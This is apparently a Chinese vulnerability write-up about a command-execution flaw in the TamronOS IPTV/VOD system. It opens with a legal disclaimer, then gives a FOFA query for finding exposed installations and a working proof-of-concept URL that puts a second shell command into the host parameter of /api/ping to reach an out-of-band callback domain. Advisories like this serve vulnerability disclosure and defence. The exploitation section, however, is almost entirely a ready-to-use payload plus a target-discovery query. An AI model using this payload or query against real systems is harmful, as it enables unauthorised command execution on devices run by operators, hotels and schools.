免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
漏洞描述
TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商、酒店、学校直播点播一体解决方案,系统提供了多种客户端(Android机顶盒、电视、PC版点播、手机版点播)方便用户通过不同的设备接入。TamronOS IPTV/VOD系统存在命令执行漏洞,攻击者可利用漏洞执行任意代码。
资产确定
fofa:app="TamronOS-IPTV系统"
漏洞复现
1.使用POC执行ping命令,得到回显
http://{{Hostname}}/api/ping?count=5&host=;ping%20bbb.5ea89bbf.ipv6.1433.eu.org